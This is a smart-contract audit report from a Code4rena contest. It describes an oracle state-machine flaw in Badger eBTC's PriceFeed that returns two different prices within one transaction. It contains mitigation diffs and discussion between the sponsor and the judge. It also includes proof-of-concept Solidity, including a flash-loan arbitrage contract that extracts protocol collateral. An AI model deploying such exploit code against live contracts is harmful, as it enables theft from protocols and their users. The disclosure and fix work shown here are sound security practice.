`fetchPrice` can return different prices in the same transaction

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/PriceFeed.sol#L341 https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/PriceFeed.sol#L231

Vulnerability details

PriceFeed.sol:fetchPrice() can return different prices in the same transaction when Chainlink price changes over 50% and the fallback oracle is not set.

In the scenario of the fallback oracle not set and the Chainlink oracle working correctly the status is usingChainlinkFallbackUntrusted. If the Chainlink price changes over 50%, the condition of line 340 evaluates to true, so the last good price is returned and the status is set to bothOraclesUntrusted.

313        // --- CASE 5: Using Chainlink, Fallback is untrusted ---
314        if (status == Status.usingChainlinkFallbackUntrusted) {
    (...)
340            if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse)) {
341                _changeStatus(Status.bothOraclesUntrusted);
342                return lastGoodPrice;
343            }

However, if the price is requested again and the Chainlink price still returns a price change over 50% from the previous round, having the status set to bothOraclesUntrusted will cause the condition of line 220 to evaluate to true and, given that the fallback oracle is not set and the Chainlink oracle is neither broken nor frozen, the price returned will be the current Chainlink price.

219        // --- CASE 3: Both oracles were untrusted at the last price fetch ---
220        if (status == Status.bothOraclesUntrusted) {
221            /*
222             * If there's no fallback, only use Chainlink
223             */
224            if (address(fallbackCaller) == address(0)) {
225                // If CL has resumed working
226                if (
227                    !_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse) &&
228                    !_chainlinkIsFrozen(chainlinkResponse)
229                ) {
230                    _changeStatus(Status.usingChainlinkFallbackUntrusted);
231                    return _storeChainlinkPrice(chainlinkResponse.answer);
232                }
233            }

Impact

A difference in the price returned by fetchPrice in the same transaction can be exploited to perform an arbitrage in different ways.

In the case of an increase of over 50% in the Chainlink price, a user can redeem a CDP with the last good price and then open a new CDP with the current Chainlink price, obtaining a collateral surplus.

In the case of a decrease over 50%, a user can open a CDP with the last good price and then redeem it with the current Chainlink price, obtaining a collateral surplus.

In both cases, the collateral surplus is obtained at the expense of the protocol with no risk for the user.

Proof of Concept

PoC 1

This PoC shows that `fetchPrice` can return different prices in the same transaction when the Chainlink price changes over 50% and the fallback oracle is not set. ```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.17; import "forge-std/Test.sol"; import {IPriceFeed} from "../contracts/Interfaces/IPriceFeed.sol"; import {PriceFeed} from "../contracts/PriceFeed.sol"; import {PriceFeedTester} from "../contracts/TestContracts/PriceFeedTester.sol"; import {MockTellor} from "../contracts/TestContracts/MockTellor.sol"; import {MockAggregator} from "../contracts/TestContracts/MockAggregator.sol"; import {eBTCBaseFixture} from "./BaseFixture.sol"; import {TellorCaller} from "../contracts/Dependencies/TellorCaller.sol"; import {AggregatorV3Interface} from "../contracts/Dependencies/AggregatorV3Interface.sol"; contract AuditPriceFeedTest is eBTCBaseFixture { address constant STETH_ETH_CL_FEED = 0x86392dC19c0b719886221c78AB11eb8Cf5c52812; PriceFeedTester internal priceFeedTester; MockAggregator internal _mockChainLinkEthBTC; MockAggregator internal _mockChainLinkStEthETH; uint80 internal latestRoundId = 321; int256 internal initEthBTCPrice = 7428000; int256 internal initStEthETHPrice = 9999e14; uint256 internal initStEthBTCPrice = 7428e13; address internal authUser; function setUp() public override { eBTCBaseFixture.setUp(); eBTCBaseFixture.connectCoreContracts(); eBTCBaseFixture.connectLQTYContractsToCore(); // Set current and prev price _mockChainLinkEthBTC = new MockAggregator(); _initMockChainLinkFeed(_mockChainLinkEthBTC, latestRoundId, initEthBTCPrice, 8); _mockChainLinkStEthETH = new MockAggregator(); _initMockChainLinkFeed(_mockChainLinkStEthETH, latestRoundId, initStEthETHPrice, 18); priceFeedTester = new PriceFeedTester( address(0), // fallback oracle not set address(authority), address(_mockChainLinkStEthETH), address(_mockChainLinkEthBTC) ); priceFeedTester.setStatus(IPriceFeed.Status.usingChainlinkFallbackUntrusted); // Grant permission on price feed authUser = _utils.getNextUserAddress(); vm.startPrank(defaultGovernance); authority.setUserRole(authUser, 4, true); authority.setRoleCapability(4, address(priceFeedTester), SET_FALLBACK_CALLER_SIG, true); vm.stopPrank(); } function _initMockChainLinkFeed( MockAggregator _mockFeed, uint80 _latestRoundId, int256 _price, uint8 _decimal ) internal { _mockFeed.setLatestRoundId(_latestRoundId); _mockFeed.setPrevRoundId(_latestRoundId - 1); _mockFeed.setPrice(_price); _mockFeed.setPrevPrice(_price); _mockFeed.setDecimals(_decimal); _mockFeed.setUpdateTime(block.timestamp); } function testPriceChangeOver50PerCent() public { uint256 lastGoodPrice = priceFeedTester.lastGoodPrice(); // Price change over 50% int256 newEthBTCPrice = (initEthBTCPrice * 2) + 1; _mockChainLinkEthBTC.setPrice(newEthBTCPrice); // Get price uint256 newPrice = priceFeedTester.fetchPrice(); IPriceFeed.Status status = priceFeedTester.status(); assertEq(newPrice, lastGoodPrice); // last good price is used assertEq(uint256(status), 2); // bothOraclesUntrusted // Get price again in the same block (no changes in ChainLink price) newPrice = priceFeedTester.fetchPrice(); status = priceFeedTester.status(); assertGt(newPrice, lastGoodPrice * 2); // current ChainLink price is used assertEq(uint256(status), 4); // usingChainlinkFallbackUntrusted } } ```

PoC 2

This PoC shows how to exploit the vulnerability to perform an arbitrage. `PriceFeedTestnet.sol` has been edited to simulate the scenario proved in the previous test, where the first call to `fetchPrice` returns the last good price and the second call returns the current Chainlink price. ```diff @@ -44,6 +44,12 @@ contract PriceFeedTestnet is IPriceFeed, Ownable, AuthNoOwner { return _price; } + bool private isFirstCall = true; + + function setIsFirstCall(bool _isFirstCall) external { + isFirstCall = _isFirstCall; + } + function fetchPrice() external override returns (uint256) { // Fire an event just like the mainnet version would. // This lets the subgraph rely on events to get the latest price even when developing locally. @@ -53,8 +59,13 @@ contract PriceFeedTestnet is IPriceFeed, Ownable, AuthNoOwner { _price = fallbackResponse.answer; } } - emit LastGoodPriceUpdated(_price); - return _price; + + if (isFirstCall) { + isFirstCall = false; + return _price; + } else { + return _price * 2 + 1; + } } ``` ```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.17; import "forge-std/Test.sol"; import {eBTCBaseFixture} from "./BaseFixture.sol"; import {IERC20} from "../contracts/Dependencies/IERC20.sol"; import {IERC3156FlashLender} from "../contracts/Interfaces/IERC3156FlashLender.sol"; import {IBorrowerOperations} from "../contracts/Interfaces/IBorrowerOperations.sol"; import {IERC3156FlashBorrower} from "../contracts/Interfaces/IERC3156FlashBorrower.sol"; import {ICdpManager} from "../contracts/Interfaces/ICdpManager.sol"; import {HintHelpers} from "../contracts/HintHelpers.sol"; contract AuditArbitrageTest is eBTCBaseFixture { FlashLoanBorrower internal flashBorrower; uint256 internal initialPrice; function setUp() public override { eBTCBaseFixture.setUp(); eBTCBaseFixture.connectCoreContracts(); eBTCBaseFixture.connectLQTYContractsToCore(); // Create a CDP to have collateral in the protocol initialPrice = priceFeedMock.getPrice(); uint256 _coll = 1_000e18; uint256 _debt = (_coll * initialPrice) / 200e16; dealCollateral(address(this), _coll + cdpManager.LIQUIDATOR_REWARD()); collateral.approve(address(borrowerOperations), type(uint256).max); borrowerOperations.openCdp(_debt, bytes32(0), bytes32(0), _coll + cdpManager.LIQUIDATOR_REWARD()); // Reset `isFirstCall` to true, as `fetchPrice` is called on `openCdp` priceFeedMock.setIsFirstCall(true); // Create flash loan borrower flashBorrower = new FlashLoanBorrower( address(collateral), address(eBTCToken), address(borrowerOperations), address(cdpManager), address(hintHelpers) ); } function testArbitragePriceChangeOver50PerCent() public { assertEq(collateral.balanceOf(address(flashBorrower)), 0); assertEq(eBTCToken.balanceOf(address(flashBorrower)), 0); assertEq(activePool.getSystemCollShares(), 1_000e18); uint256 eBTCBborrowAmount = 10e18; flashBorrower.pwn(eBTCBborrowAmount, initialPrice); uint256 minExpectedCollProfit = 40e18; assertGt(collateral.balanceOf(address(flashBorrower)), minExpectedCollProfit); assertLt(collateral.balanceOf(address(flashBorrower)), 1_000e18 - minExpectedCollProfit); } } contract FlashLoanBorrower { IERC20 public immutable collateral; IERC20 public immutable eBTCToken; IBorrowerOperations public immutable borrowerOperations; ICdpManager public immutable cdpManager; HintHelpers public immutable hintHelpers; constructor( address _collateral, address _eBTCToken, address _borrowerOperations, address _cdpManager, address _hintHelpers ) { collateral = IERC20(_collateral); eBTCToken = IERC20(_eBTCToken); borrowerOperations = IBorrowerOperations(_borrowerOperations); cdpManager = ICdpManager(_cdpManager); hintHelpers = HintHelpers(_hintHelpers); collateral.approve(_borrowerOperations, type(uint256).max); eBTCToken.approve(_borrowerOperations, type(uint256).max); } function pwn( uint256 amount, uint256 price ) external { IERC3156FlashLender(address(borrowerOperations)).flashLoan( IERC3156FlashBorrower(address(this)), address(eBTCToken), amount, abi.encodePacked(price) ); } function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata data ) external returns (bytes32) { uint256 price = abi.decode(data, (uint256)); // Redeem collateral with `amount` eBTC at last valid price (bytes32 firstRedemptionHint, uint256 partialRedemptionHintNICR, , ) = hintHelpers .getRedemptionHints(amount, price, 0); cdpManager.redeemCollateral( amount, firstRedemptionHint, firstRedemptionHint, firstRedemptionHint, partialRedemptionHintNICR, 0, 1e18 ); // Open CDP with redeemed collateral at new price (now we receive more eBTC than `amount`) uint256 coll = collateral.balanceOf(address(this)); uint256 newPrice = price * 2 + 1; uint256 debt = ((coll - 2e17 /*LIQUIDATOR_REWARD*/) * newPrice) / 110e16; bytes32 cdpId = borrowerOperations.openCdp(debt, bytes32(0), bytes32(0), coll); // Repay surplus eBTC and withdraw its proportional collateral uint256 availableEBTC = eBTCToken.balanceOf(address(this)) - (amount + fee); uint256 collToRedeem = (availableEBTC * 110e16) / newPrice; borrowerOperations.adjustCdp(cdpId, collToRedeem, availableEBTC, false, bytes32(0), bytes32(0)); return keccak256("ERC3156FlashBorrower.onFlashLoan"); } } ```

Tools Used

Manual inspection.

Recommended Mitigation Steps

            // If Chainlink price has changed by > 50% between two consecutive rounds, compare it to Fallback's price
-           if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse)) {
+           if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse) && address(fallbackCaller) != address(0)) {
                // If Fallback is broken, both oracles are untrusted, and return last good price
                // We don't trust CL for now given this large price differential
                if (_fallbackIsBroken(fallbackResponse)) {
                    _changeStatus(Status.bothOraclesUntrusted);
                    return lastGoodPrice;
                }

    (...)

            // If Chainlink is live but deviated >50% from it's previous price and Fallback is still untrusted, switch
            // to bothOraclesUntrusted and return last good price
-           if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse)) {
+           if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse) && address(fallbackCaller) != address(0)) {
                _changeStatus(Status.bothOraclesUntrusted);
                return lastGoodPrice;
            }

Assessed type

Oracle

[c4-pre-sort]

bytes032 marked the issue as insufficient quality report

[c4-sponsor]

GalloDaSballo (sponsor) confirmed

[c4-sponsor]

GalloDaSballo marked the issue as disagree with severity

[GalloDaSballo]

The pre-requisite to this finding is CL having a 50% Deviation between two rounds

This is extremely unlikely

That said, the logic is incorrect and the finding is a valid gotcha we will fix

[rayeaster]

I would suggest another fix approach different from above "Recommended Mitigation" since it make sense to set the status to bothOraclesUntrusted if fallback not set while CL got a big (>50%) reporting deviation between two rounds.

Using above "Recommneded Mitigation" would result in exactly what it is trying to avoid: "the price returned will be the current Chainlink price"

Since eBTC allows empty fallback (unlike original Liquity which always assumes the fallback is set) so additional checks are required to be executed around

• function _bothOraclesLiveAndUnbrokenAndSimilarPrice()
• function _bothOraclesSimilarPrice()

to distinguish the scenarios when fallback is set (broken/frozen) AND when fallback is not set at all

     function _bothOraclesLiveAndUnbrokenAndSimilarPrice(
        ChainlinkResponse memory _chainlinkResponse,
        ChainlinkResponse memory _prevChainlinkResponse,
        FallbackResponse memory _fallbackResponse
    ) internal view returns (bool) {
        // Return false if either oracle is broken or frozen
        if (
+          (address(fallbackCaller) != address(0) && (_fallbackIsBroken(_fallbackResponse) || _fallbackIsFrozen(_fallbackResponse))) ||
-           _fallbackIsBroken(_fallbackResponse) ||
-           _fallbackIsFrozen(_fallbackResponse) ||
            _chainlinkIsBroken(_chainlinkResponse, _prevChainlinkResponse) ||
            _chainlinkIsFrozen(_chainlinkResponse)
        ) {
            return false;
        }

        return _bothOraclesSimilarPrice(_chainlinkResponse, _fallbackResponse);
    }

    function _bothOraclesSimilarPrice(
        ChainlinkResponse memory _chainlinkResponse,
        FallbackResponse memory _fallbackResponse
    ) internal pure returns (bool) {
+       if (address(fallbackCaller) == address(0)){
+           return true;
+       }       
        // Get the relative price difference between the oracles. Use the lower price as the denominator, i.e. the reference for the calculation.
        uint256 minPrice = EbtcMath._min(_fallbackResponse.answer, _chainlinkResponse.answer);
        ......
    }

And finally, we need to apply some extra guards in the state machine for status bothOraclesUntrusted and ensure that the price-similarity comparison between primary & fallback oracle happens ONLY AFTER other single-source checks (bad/frozen/max-deviation):

  function fetchPrice() external override returns (uint256) {
        ......
        // --- CASE 3: Both oracles were untrusted at the last price fetch ---
        if (status == Status.bothOraclesUntrusted) {
            /*
             * If there's no fallback, only use Chainlink
             */
            if (address(fallbackCaller) == address(0)) {
                // If CL has resumed working
                if (
                    !_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse) &&
                    !_chainlinkIsFrozen(chainlinkResponse)
+                   && !_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse)
                ) {
                    _changeStatus(Status.usingChainlinkFallbackUntrusted);
                    return _storeChainlinkPrice(chainlinkResponse.answer);
                }
+               else {
+                   return lastGoodPrice;
+               }
            }

         ......
   }

The PR for the fix is TBA

[jhsagd76]

If the price oracle will be uesed for tokens with high volatility I belive this should be at least a med risk issue. However it's only for BTC and stETH, it's more like a QA under normal rules. The mitigation from the sponsor shows that it's a safety design for price oracle. This fills the gap in the confidence interval of chainlink. I think it can be marked as a med risk, as a defence bypass instead of a price manipulation.

[c4-judge]

jhsagd76 changed the severity to 2 (Med Risk)

[c4-judge]

jhsagd76 marked the issue as satisfactory

[c4-judge]

jhsagd76 marked the issue as primary issue

[c4-judge]

jhsagd76 marked the issue as selected for report